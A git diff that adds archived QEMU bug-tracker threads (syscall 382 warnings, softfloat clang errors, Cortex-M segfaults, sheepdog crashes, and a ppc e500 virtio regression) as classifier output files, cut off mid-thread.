diff options
Diffstat (limited to 'results/classifier/deepseek-1/output')
608 files changed, 73655 insertions, 0 deletions
diff --git a/results/classifier/deepseek-1/output/"Other."/1821006 b/results/classifier/deepseek-1/output/"Other."/1821006 new file mode 100644 index 00000000..5b5e74f7 --- /dev/null +++ b/results/classifier/deepseek-1/output/"Other."/1821006 @@ -0,0 +1,114 @@ + +qemu: Unsupported syscall: 382 + +I used + +qemu-user-static/stable,stable,now 1:2.8+dfsg-6+deb9u5 amd64 [installed] + +When I try to build an image of a docker for an arm, an error occurs. + +This affects the operation of applications. + + +Dockerfile + +ARG ARCH +FROM ${ARCH}/debian:buster-slim + +RUN \ + printf "Install dependencies...\n" && \ + apt-get update && \ + apt-get install -y --no-install-recommends ca-certificates curl + +RUN curl https://google.com + +EOF + +The command that I run + +docker build --build-arg ARCH=arm32v7 --file ./Dockerfile -t test . + + +root@unit6:/lib/binfmt.d# cat qemu-arm-static.conf +:qemu-arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff:/usr/bin/qemu-arm-static:F + +Here is a related discussion. +https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=923479 + +I don't suppose you have a testcase that doesn't require docker? + +Syscall 382 is renameat2 for arm. Note that messages from QEMU about unsupported syscalls are often harmless, because typically they only appear for relatively new syscalls which QEMU hasn't implemented yet. The guest code will have a fallback path so it works on older kernels which don't implement the syscall, so a message is printed but the application still runs. So if the guest program is failing then it is quite likely to be for an entirely unrelated reason to the missing syscalls. + + +...that said, we should implement renameat2 provided that the host kernel does. What host kernel version are you using, and what host kernel minimum requirement was the glibc for your guest compiled to require? renameat2 was added in kernel 3.15, so if your host kernel is older than this but your guest glibc assumes it has at least 3.15 then there's no way QEMU can bridge this gap. + + +Yes, you are right the application works correctly. At least the result is expected. + +Vesion kernel +le9i0nx@unit6:~$ uname -a +Linux unit6 4.9.0-8-rt-amd64 #1 SMP PREEMPT RT Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux +Host debian 9 +quest debian 10 + +quest glib version +root@ddf2245902b3:/app# apt list | grep libc + +WARNING: apt does not have a stable CLI interface. Use with caution in scripts. + +libc-bin/now 2.28-7 armhf [installed,local] +libc6/now 2.28-7 armhf [installed,local] + +Examining the build source. I found an option +MIN_KERNEL_SUPPORTED := 3.2 + +I also tried to repeat through chroot. a message also appears. +https://wiki.debian.org/Arm64Qemu I use armhf. + +qemu-debootstrap --arch=armhf --keyring /usr/share/keyrings/debian-archive-keyring.gpg --variant=buildd --exclude=debfoster buster debian-armhf http://ftp.debian.org/debian +chroot debian-armhf/ +apt-get install -y --no-install-recommends ca-certificates curl +... +debconf: falling back to frontend: Readline +Updating certificates in /etc/ssl/certs... +qemu: Unsupported syscall: 382 +128 added, 0 removed; done. +Setting up libgssapi-krb5-2:armhf (1.17-2) ... +Setting up libcurl4:armhf (7.64.0-1) ... +Setting up curl (7.64.0-1) ... +Processing triggers for libc-bin (2.28-8) ... +Processing triggers for ca-certificates (20190110) ... +... + + + + + +Upgrading the kernel did not change the situation. + +le9i0nx@unit6:~$ uname -a +Linux unit6 4.19.0-0.bpo.2-rt-amd64 #1 SMP PREEMPT RT Debian 4.19.16-1~bpo9+1 (2019-02-07) x86_64 GNU/Linux + +... +Updating certificates in /etc/ssl/certs... +qemu: Unsupported syscall: 382 +0 added, 0 removed; done. +Running hooks in /etc/ca-certificates/update.d... +... + +Thanks for that repro case with qemu-debootstrap and chroot. I can confirm that I can repro this with QEMU version 2.11.1. However with current head of git QEMU this is fixed -- the "unsupported syscall" message is not printed. We added support for the renameat2 syscall in commit 95d0307cc10ca3df87 which is in QEMU version 2.12 and later -- could you try with a newer QEMU version? + + +Unfortunately I was only able to check in 3.1. +There is no problem with the call. + +root@unit6:/mnt/build/chroot# dpkg -l | grep qemu-user-static +ii qemu-user-static 1:3.1+dfsg-5 amd64 QEMU user mode emulation binaries (static version) + + +Hello. + +As far as I can tell, this is still an issue with the latest available ubuntu, 18.04.2, which has: version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.15) + +Anyone know where I could get a newer version that would be compatible with Ubuntu? + diff --git a/results/classifier/deepseek-1/output/(graphic)/1500935 b/results/classifier/deepseek-1/output/(graphic)/1500935 new file mode 100644 index 00000000..019fc282 --- /dev/null +++ b/results/classifier/deepseek-1/output/(graphic)/1500935 @@ -0,0 +1,20 @@ + +Qemu / KVM always wants to be on top + +Whenever I pass with the mouse over the KVM (qemu) window, it automatically raises on top, obscuring other windows on the same desktop, which is rather intrusive... +No other application does this. + +> dpkg -l qemu-kvm +Desired=Unknown/Install/Remove/Purge/Hold +| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend +|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) +||/ Name Version Architecture Description ++++-==============-============-============-================================= +ii qemu-kvm 2.0.0+dfsg-2 amd64 QEMU Full virtualization + +Seems like you are using the QEMU from your Linux distribution. If you want to have support for that version, you should use the bug tracker from your distro instead. Otherwise, can you please try again with the latest version from http://wiki.qemu-project.org/Download to see whether the bug is already fixed there? Thanks! + +Seems to be fixed by now. Indeed kvm no longer does this on none of the 2 distributions that I currently use (Debian 8.6.0 and Kubuntu 14.04.5) + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/C**./1881004 b/results/classifier/deepseek-1/output/C**./1881004 new file mode 100644 index 00000000..77450ba4 --- /dev/null +++ b/results/classifier/deepseek-1/output/C**./1881004 @@ -0,0 +1,143 @@ + +fpu/softfloat.c: error: bitwise negation of a boolean expression + +Last time I built QEMU was on commit d5c75ec500d96f1d93447f990cd5a4ef5ba27fae, +I just pulled to fea8f3ed739536fca027cf56af7f5576f37ef9cd and now get: + + CC lm32-softmmu/fpu/softfloat.o +fpu/softfloat.c:3365:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + absZ &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3423:18: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + absZ0 &= ~ ( ( (uint64_t) ( absZ1<<1 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3483:18: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + absZ0 &= ~(((uint64_t)(absZ1<<1) == 0) & roundNearestEven); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3606:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3760:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig &= ~ ( ( ( roundBits ^ 0x200 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3987:21: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + ~ ( ( (uint64_t) ( zSig1<<1 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:4003:22: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig0 &= ~ ( ( (uint64_t) ( zSig1<<1 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:4273:18: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig1 &= ~ ( ( zSig2 + zSig2 == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +8 errors generated. + +$ clang -v +clang version 10.0.0-4ubuntu1 +Target: aarch64-unknown-linux-gnu + +$ lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 20.04 LTS +Release: 20.04 +Codename: focal + +On Wed, 27 May 2020 at 20:21, Philippe Mathieu-Daudé +<email address hidden> wrote: +> +> Public bug reported: +> +> Last time I built QEMU was on commit d5c75ec500d96f1d93447f990cd5a4ef5ba27fae, +> I just pulled to fea8f3ed739536fca027cf56af7f5576f37ef9cd and now get: +> +> CC lm32-softmmu/fpu/softfloat.o +> fpu/softfloat.c:3365:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] +> absZ &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); +> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> ! + + +"(x & y)" is not a boolean expression, so we should report this to clang +as a bug (I assume what they actually are trying to complain about is +bitwise AND with a boolean expression). + +thanks +-- PMM + + +On 5/27/20 4:40 PM, Peter Maydell wrote: +> On Wed, 27 May 2020 at 20:21, Philippe Mathieu-Daudé +> <email address hidden> wrote: +>> +>> Public bug reported: +>> +>> Last time I built QEMU was on commit d5c75ec500d96f1d93447f990cd5a4ef5ba27fae, +>> I just pulled to fea8f3ed739536fca027cf56af7f5576f37ef9cd and now get: +>> +>> CC lm32-softmmu/fpu/softfloat.o +>> fpu/softfloat.c:3365:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] +>> absZ &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); +>> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +>> ! +> +> +> "(x & y)" is not a boolean expression, so we should report this to clang +> as a bug (I assume what they actually are trying to complain about is +> bitwise AND with a boolean expression). + +We have: + +uint64_t &= ~ ( ( ( int8_t ^ int ) == int ) & bool ) + +which is + +uint64_t &= ~ ( bool & bool ) + +which is then + +uint64_t &= ~ ( int ) + +resulting in one of: + +uint64_t &= 0xffffffffffffffff +uint64_t &= 0xfffffffffffffffe + +It is a very odd way of stating that 'if this condition is true, mask +out the least-significant-bit'. In general, 'bool & bool' is used where +the side-effect-skipping 'bool && bool' is inappropriate; I'm a bit +surprised that clang is not questioning whether we meant '&&' instead of +'&' (the two operators give the same effect in this case). + +You are right that clang is fishy for calling it logical negation of a +bool, when it is really logical negation of an int, but we are also +fishy in that we are using bitwise AND of two bools as an int in the +first place. + +Regardless of whether clang changes, would it be better to write the +code as: + +if (((roundBits ^ 0x40) == 0) && roundNearestEven) { + absZ &= ~1; +} + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3226 +Virtualization: qemu.org | libvirt.org + + + +Patch sent: +https://lists.gnu.org/archive/html/qemu-devel/2020-05/msg07861.html + +Fixed in commit 4066288694c3bdd175df8, which will be in 5.1. + + diff --git a/results/classifier/deepseek-1/output/CPU./1766896 b/results/classifier/deepseek-1/output/CPU./1766896 new file mode 100644 index 00000000..29a598ed --- /dev/null +++ b/results/classifier/deepseek-1/output/CPU./1766896 @@ -0,0 +1,181 @@ + +qemu-system-arm segfault in arm_v7m_mmu_idx_for_secstate + +Attempting to emulate some baremetal ARM cortex-M* firmware with gdb causes a segfault every time. + +qemu invocation: +qemu-system-arm -machine none -cpu cortex-m3 -nographic -monitor null -serial null -s -S -device loader,file=firmware.elf + +qemu seems to startup fine with that command. Segfault happens as soon as I connect from another console with + +arm-none-eabi-gdb firmware.elf +> target remote localhost:1234 +# qemu segfaults, and kills arm-none-eabi-gdb along with it + +Here's a bt from qemu-system-arm : + +********************************* +#0 armv7m_nvic_neg_prio_requested (opaque=0x0, secure=false) + at /home/sac/qemu/src/qemu/hw/intc/armv7m_nvic.c:383 + s = 0x0 +#1 0x006e4806 in arm_v7m_mmu_idx_for_secstate (secstate=<optimized out>, env=0xb620263c) + at /home/sac/qemu/src/qemu/target/arm/cpu.h:2345 + el = <optimized out> + mmu_idx = ARMMMUIdx_MPriv + el = <optimized out> + mmu_idx = <optimized out> +#2 cpu_mmu_index (ifetch=false, env=0xb620263c) at /home/sac/qemu/src/qemu/target/arm/cpu.h:2358 + mmu_idx = <optimized out> + el = <optimized out> + ifetch = <optimized out> + env = 0xb620263c + el = <optimized out> + mmu_idx = <optimized out> + el = <optimized out> + el = <optimized out> + mmu_idx = <optimized out> +#3 arm_cpu_get_phys_page_attrs_debug (cs=0xb61fe480, addr=0, attrs=0xbfffc668) + at /home/sac/qemu/src/qemu/target/arm/helper.c:9858 + cpu = 0xb61fe480 + __func__ = "arm_cpu_get_phys_page_attrs_debug" + env = 0xb620263c + phys_addr = 6402535376434480864 + page_size = 5 + prot = -1239242724 + ret = <optimized out> + fsr = 4294967041 + fi = {s2addr = 0, stage2 = false, s1ptw = false, ea = false} + mmu_idx = <optimized out> +#4 0x005729d1 in cpu_get_phys_page_attrs_debug (attrs=<optimized out>, addr=<optimized out>, + cpu=<optimized out>) at /home/sac/qemu/src/qemu/include/qom/cpu.h:580 + cc = <optimized out> + cc = <optimized out> +#5 cpu_memory_rw_debug (cpu=0xb61fe480, addr=0, buf=0xbfffd6dc "", len=4, is_write=0) + at /home/sac/qemu/src/qemu/exec.c:3524 + asidx = <optimized out> + attrs = {unspecified = 0, secure = 0, user = 0, requester_id = 15525} + l = <optimized out> + phys_addr = <optimized out> + page = 0 + __PRETTY_FUNCTION__ = "cpu_memory_rw_debug" +#6 0x005b4c5e in target_memory_rw_debug (is_write=false, len=4, buf=<optimized out>, addr=0, + cpu=0xb61fe480) at /home/sac/qemu/src/qemu/gdbstub.c:56 + cc = <optimized out> + cc = <optimized out> +#7 gdb_handle_packet (s=s@entry=0xb6229800, line_buf=line_buf@entry=0xb6229810 "m0,4") + at /home/sac/qemu/src/qemu/gdbstub.c:1109 + cpu = <optimized out> + cc = <optimized out> + p = 0xb6229813 "4" + thread = <optimized out> + ch = <optimized out> + reg_size = <optimized out> + type = <optimized out> + res = <optimized out> + buf = "m1\000", '\060' <repeats 109 times>, "ffffffff00000000d3010040\000t modification,\n are permitted in any medium without royalt"... + mem_buf = '\000' <repeats 56 times>, "\377\377\377\377\000\000\000\000\323\001\000@", '\000' <repeats 716 times>... + registers = <optimized out> + addr = 0 + len = 4 + __func__ = "gdb_handle_packet" +#8 0x005b55b3 in gdb_read_byte (ch=100, s=0xb6229800) at /home/sac/qemu/src/qemu/gdbstub.c:1664 + reply = 43 '+' + reply = <optimized out> + repeat = <optimized out> +#9 gdb_chr_receive (opaque=<optimized out>, buf=<optimized out>, size=<optimized out>) + at /home/sac/qemu/src/qemu/gdbstub.c:1868 + i = <optimized out> +#10 0x00980319 in tcp_chr_read (chan=0xb6c86200, cond=G_IO_IN, opaque=0xb63fc6e0) + at chardev/char-socket.c:440 + chr = <optimized out> + __func__ = "tcp_chr_read" + s = 0xb63fc6e0 + buf = "$m0,4#fddInfo#c8read:arm-core.xml:0,ffb#08+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+#df\363\377\377\000\000\000\000\274\354\377\277", '\000' <repeats 16 times>, "\272\356\377 \274\354\377\277", '\000' <repeats 16 times>, "\373\377\377\377\005\000\000\000"... + len = <optimized out> + size = <optimized out> +#11 0xb7808c44 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 +No symbol table info available. +#12 0x009e14d2 in glib_pollfds_poll () at util/main-loop.c:214 + context = 0xb645f740 + pfds = <optimized out> + context = <optimized out> + pfds = <optimized out> +#13 os_host_main_loop_wait (timeout=<optimized out>) at util/main-loop.c:261 + context = 0xb645f740 + ret = 1 + spin_counter = 0 + context = <optimized out> + ret = <optimized out> + spin_counter = 0 + notified = false +#14 main_loop_wait (nonblocking=0) at util/main-loop.c:515 + ret = <optimized out> + timeout = 1000 + timeout_ns = <optimized out> +#15 0x00561781 in main_loop () at vl.c:1995 +No locals. +#16 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at vl.c:4911 + i = <optimized out> + snapshot = <optimized out> + linux_boot = <optimized out> + initrd_filename = <optimized out> + kernel_filename = <optimized out> + kernel_cmdline = <optimized out> + boot_order = <optimized out> + boot_once = <optimized out> + ds = <optimized out> + cyls = <optimized out> + heads = <optimized out> + secs = <optimized out> + translation = <optimized out> + opts = <optimized out> + machine_opts = <optimized out> + hda_opts = <optimized out> + icount_opts = <optimized out> + accel_opts = <optimized out> + olist = <optimized out> + optind = 14 + optarg = 0xbffffcf6 "loader,file=firmware.elf" + loadvm = <optimized out> + machine_class = <optimized out> + cpu_model = <optimized out> + vga_model = <optimized out> + qtest_chrdev = <optimized out> + qtest_log = <optimized out> + pid_file = <optimized out> + incoming = <optimized out> + userconfig = <optimized out> + nographic = <optimized out> + display_type = <optimized out> + display_remote = <optimized out> + log_mask = <optimized out> + log_file = <optimized out> + trace_file = <optimized out> + maxram_size = <optimized out> + ram_slots = <optimized out> + vmstate_dump_file = <optimized out> + main_loop_err = 0x0 + err = 0x0 + list_data_dirs = <optimized out> + dirs = <optimized out> + bdo_queue = {sqh_first = 0x0, sqh_last = 0xbffff918} + __func__ = "main" + +follow-up to IRC discussions with stsquad and danpb : the problem is "-machine none" which prevents all the data structures from being initialized properly. + +You also did not specify any amount of RAM with the -m parameter and the "none" machine does not have any RAM by default. + +Yes; cortex-m3 will only work on machine types that are expecting it (ie which instantiate the M profile NVIC interrupt controller, which is really an integral part of the CPU). + +We should catch this case and make QEMU exit with a more helpful message. + + +https://patchwork.ozlabs.org/patch/924145/ is a patch which improves our error checking for this case. The command that previously segfaulted should now exit with the error message: +qemu-system-arm: This board cannot be used with Cortex-M CPUs + + +The patch referred to in comment #4 has now been committed, so from QEMU 3.0 this will fail with a useful error message to tell the user their choice of machine and CPU aren't compatible. + + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=95f875654ae8b433b5 + diff --git a/results/classifier/deepseek-1/output/Device/1155677 b/results/classifier/deepseek-1/output/Device/1155677 new file mode 100644 index 00000000..b11d5b42 --- /dev/null +++ b/results/classifier/deepseek-1/output/Device/1155677 @@ -0,0 +1,28 @@ + +snapshot=on fails with non file-based storage + +The snapshot=on option doesn't work with an nbd block device: + +/usr/bin/qemu-system-x86_64 \ +[...] + -device virtio-scsi-pci,id=scsi \ + -drive file=nbd:localhost:61930,snapshot=on,format=raw,id=hd0,if=none \ + -device scsi-hd,drive=hd0 \ +[...] + +gives the error: + +qemu-system-x86_64: -drive file=nbd:localhost:61930,snapshot=on,format=raw,id=hd0,if=none: could not open disk image nbd:localhost:61930: No such file or directory + +If you remove the snapshot=on flag, it works (although that of course means that the block device is writable which we don't want). + +Previously reported here: + + http://permalink.gmane.org/gmane.comp.emulators.qemu/148390 + +and I can confirm this still happens in qemu 1.4.0. + +Triaging old bug tickets... I think this has likely been fixed in 2013 ... or can you still reproduce this issue with the latest version of QEMU? Could we close this ticket nowadays? + +Let's close this. libguestfs doesn't use snapshot=on any longer. + diff --git a/results/classifier/deepseek-1/output/Device/906804 b/results/classifier/deepseek-1/output/Device/906804 new file mode 100644 index 00000000..9ea6aadc --- /dev/null +++ b/results/classifier/deepseek-1/output/Device/906804 @@ -0,0 +1,48 @@ + +SIGSEGV using sheepdog + +While doing a mkfs on a Sheepdog volume attached inside a VM, qemu-kvm segfaults: + + +Program received signal SIGSEGV, Segmentation fault. +aio_read_response (opaque=0x0) at /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/block/sheepdog.c:784 +784 /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/block/sheepdog.c: No such file or directory. + in /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/block/sheepdog.c +(gdb) bt +#0 aio_read_response (opaque=0x0) at /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/block/sheepdog.c:784 +#1 0x00007effed02b7bb in coroutine_trampoline (i0=<optimized out>, i1=<optimized out>) at /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/coroutine-ucontext.c:125 +#2 0x00007effe89e4d60 in ?? () from /lib/x86_64-linux-gnu/libc.so.6 +#3 0x00007fff90ed7fd0 in ?? () +#4 0x0000000000000000 in ?? () +(gdb) bt full +#0 aio_read_response (opaque=0x0) at /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/block/sheepdog.c:784 + rsp = {proto_ver = 8 '\b', opcode = 8 '\b', flags = 61231, epoch = 32511, id = 4023393600, data_length = 32511, result = 4022027568, copies = 32511, pad = {3902624371, 32511, 4022027680, 32511, 4022027680, 32511}} + s = <optimized out> + fd = <optimized out> + aio_req = <optimized out> + acb = <optimized out> + idx = 139637703787936 +#1 0x00007effed02b7bb in coroutine_trampoline (i0=<optimized out>, i1=<optimized out>) at /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/coroutine-ucontext.c:125 + self = 0x7effefbb45a0 + co = 0x7effefbb45a0 +#2 0x00007effe89e4d60 in ?? () from /lib/x86_64-linux-gnu/libc.so.6 +No symbol table info available. +#3 0x00007fff90ed7fd0 in ?? () +No symbol table info available. +#4 0x0000000000000000 in ?? () +No symbol table info available. +(gdb) info threads + Id Target Id Frame + 12 Thread 0x7eff4d3ea700 (LWP 10461) "kvm" 0x00007effe8d3264b in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/x86_64-linux-gnu/libpthread.so.0 + 11 Thread 0x7eff4c3e8700 (LWP 10460) "kvm" 0x00007effe8d3264b in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/x86_64-linux-gnu/libpthread.so.0 + 9 Thread 0x7eff49be3700 (LWP 10442) "kvm" 0x00007effe8d3264b in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/x86_64-linux-gnu/libpthread.so.0 + 8 Thread 0x7eff4a3e4700 (LWP 10441) "kvm" 0x00007effe8d3264b in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/x86_64-linux-gnu/libpthread.so.0 + 7 Thread 0x7eff493e2700 (LWP 10440) "kvm" 0x00007effe8d3264b in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/x86_64-linux-gnu/libpthread.so.0 + 6 Thread 0x7effd2741700 (LWP 10270) "kvm" 0x00007effe8a71407 in ioctl () from /lib/x86_64-linux-gnu/libc.so.6 +* 1 Thread 0x7effecf39900 (LWP 10267) "kvm" aio_read_response (opaque=0x0) at /build/buildd-qemu-kvm_1.0+dfsg-2-amd64-V1Rh0p/qemu-kvm-1.0+dfsg/block/sheepdog.c:784 + +I think this is fixed with http://patchwork.ozlabs.org/patch/138719/ + + +The fix mentioned in comment #1 has been included long ago (commit ID 6d1acda8f16d1f2d0b05cf), so marking this ticket as "Fix released" now. + diff --git a/results/classifier/deepseek-1/output/Documentation](https:/git-scm.com/doc)./1856834 b/results/classifier/deepseek-1/output/Documentation](https:/git-scm.com/doc)./1856834 new file mode 100644 index 00000000..63fe1f04 --- /dev/null +++ b/results/classifier/deepseek-1/output/Documentation](https:/git-scm.com/doc)./1856834 @@ -0,0 +1,201 @@ + +PCI broken in qemu ppc e500 in v2.12.0 and other versions + +The same qemu -M mpc... command that works on qemu-system-ppc version 2.8.0 freezes guest on bootup and shows error for qemu-system-ppc version 4.2.0release and 4.19dirtygit: + +qemu-system-ppc: virtio-blk failed to set guest notifier (-24), ensure -accel kvm is set. +qemu-system-ppc: virtio_bus_start_ioeventfd: failed. Fallback to userspace (slower). + +ends/freezes at: +nbd: registered device at major 43 + vda: + +I'm using -drive file=/home/me/rawimage.dd,if=virtio and works fine in version 2.8.0 installed with apt-get install (Ubuntu 17.04) and also with 2.8.0 official release from git/github that I compiled/built myself. But both of the newer releases fail on the same exact machine same config. + +I also noticed that qemu-2.8.0 was fine with mtd but the newer ones I tried weren't, ie gave +qemu-system-ppc: -drive if=mtd: machine type does not support if=mtd,bus=0,unit=0 +(but I removed -drive if=mtd since wasn't using it anyway) + +I also tried on windows but I think virtio doesn't work on windows hosts at all? On windows host it fails the same way, even version 2.12 as well as 4.1.10... + +used: +./configure --prefix=/opt/... --enable-fdt --enable-kvm --enable-debug + +(basically all steps the same on same exact system same config, yet 2.8.0 works fine whether apt-get installed or built from source while the others I built, 4.19/4.2.0 or 2.12/4.1.10(win) don't.) + +In case newer qemu versions act weird on various kernels, I did try with both vmlinuz-4.10.0-19-generic and vmlinuz-4.13.12-041312-generic (I didn't compile them but I can provide config-..files) +tx + ecs + +Also tested on another system (Debian GNU/Linux 9 \n \l with kernel SMP Debian 3.16.56-1+deb8u1 (2018-05-08) x86_64) besides the previous Ubuntu 17.04 and confirmed even Qemu 2.8.1 is working but Qemu 3.1.10 and higher not working, virtio fails/freezes guest at vda as on the other system. + +Could you provide the full qemu command line? + +Did you try with just a basic virtio disk and it works for you? + +Because even a basic virtio drive addition fails for me, even this fails on higher than 2.8.1 + +For example: +qemu-system-ppc -M mpc8544ds -nographic -kernel /home/me/boot/uImage-2.6.32 -append "root=/dev/vda rw" -drive file=/home/me/mmcblk0p2.dd,if=virtio + +The only thing I can think of, is if somehow vda fails due to me running the higher version qemu binaries from their build locations/paths without actually "installing" them in usual paths etc. + +But I ran the 2.8 version from build location I compiled it from and it worked from there, but perhaps the 2.8 version was also the distro installed default one so maybe it found dependencies it needed? + +Anyway I just now reconfigured 4.2.0 with --prefix /opt/qemu4.2.0 and ran it from installed dir: + +root@myserver:/opt/qemu4.2.0/bin# ./qemu-system-ppc -M mpc8544ds -nographic -kernel /home/me/boot/uImage-2.6.32 -append "root=/dev/vda rw" -drive file=/home/me/mmcblk0p2.dd,if=virtio + +But it still fails even after make install and running it from the /opt/qemu4.2.0/bin directory. +Is it somehow conflicting with the other qemu version 2.8.. installed by usual apt-get install? + +Regardless of how I start them, version 3.1.0 and 4.2.0rc4 and some other 4.19git and 4.2.0final all fail/freeze at: +" +.... +nbd: registered device at major 43 + vda: +" + + +Perhaps you can try to disable the "modern" mode of virtio (The endianness of the API has been changed): + +replace + + -drive file=/home/me/mmcblk0p2.dd,if=virtio + +by + + -device virtio-blk-pci,drive=drive0,disable-modern=true \ + -drive file=mmcblk0p2.dd,if=none,id=drive0,format=raw + +Thanks I tried with: + +/root/QEMU/qemu-git-4.2.0rc4/qemu/build/ppc-softmmu/qemu-system-ppc -M mpc8544ds -nographic -kernel /home/me/boot/uImage-2.6.32 -append "root=/dev/vda rw" -device virtio-blk-pci,drive=drive0,disable-modern=true -drive file=/home/me/mmcblk0p2.dd,if=none,id=drive0,format=raw + +And again it worked with qemu 2.8.1 but failed with the above 4.2.0rc4 on the same x86_64 host. + +On another x86_64 host I confirmed that the below works with qemu 2.8.0 + +root@myserver:~# qemu-system-ppc -M mpc8544ds -nographic -kernel /home/me/boot/uImage-2.6.32 -append "root=/dev/vda rw" -device virtio-blk-pci,drive=drive0,disable-modern=true -drive file=/home/me/mmcblk0p2.dd,if=none,id=drive0,format=raw + +But again even on this system 4.2.0 failes with that same command: +root@myserver:~# /root/QEMU/qemu-4.2.0/build/ppc-softmmu/qemu-system-ppc -M mpc8544ds -nographic -kernel /home/me/boot/uImage-2.6.32 -append "root=/dev/vda rw" -device virtio-blk-pci,drive=drive0,disable-modern=true -drive file=/home/me/mmcblk0p2.dd,if=none,id=drive0,format=raw + +Fails/freezes at the same vda: location. + +Running it from its installed location didn't help, the following still failed at vda: also. + +root@myserver:/opt/qemu4.2.0/bin# ./qemu-system-ppc -M mpc8544ds -nographic -kernel /home/me/boot/uImage-2.6.32 -append "root=/dev/vda rw" -device virtio-blk-pci,drive=drive0,disable-modern=true -drive file=/home/me/mmcblk0p2.dd,if=none,id=drive0,format=raw + +Although I didn't think its required for the softmmu qemu "emulation" only, ie not "kvm", I even enabled kvm as well as DMAR+IOMMU on the kernel and recompiled 4.2.0 but had same vda: failure. + + + + +fyi from what I recall guest kernel was built using mpc85xx_defconfig with some additions like virtio etc. If virtio is working for you just fine using same command as mine, then perhaps its some peculiarity to do with my specific guest kernel or kernel version? (uImage is about 3.4M with equivalent vmlinux about 72M) + +Hope you enjoyed the Holidays, Happy 2020! I would really appreciate if you could confirm for me if virtio works fine for you with ppc -M mpc8544ds with older Linux guest kernels like 2.6.32 +thanks! + +Could you provide your binary uImage-2.6.32? + +With some precautionary measures I think I can provide it. Not sure what of our drivers may already be compiled in etc so I need to send it to you privately so only you have access for testing etc after which you would delete it once issue fixed or discovered etc. Is it possible to send you private message on here with such a link or better email? thanks + +Sorry for the delay, I have sent you a private message/email with the actual kernel image. thx! + +This is broken by: + +commit 67113c03423a23e60915574275aed7d60e9f85e1 +Author: Michael Davidsaver <email address hidden> +Date: Sun Nov 26 15:59:05 2017 -0600 + + e500: fix pci host bridge class/type + + Correct some confusion wrt. the PCI facing + side of the PCI host bridge (not PCIe root complex). + The ref. manual for the mpc8533 (as well as + mpc8540 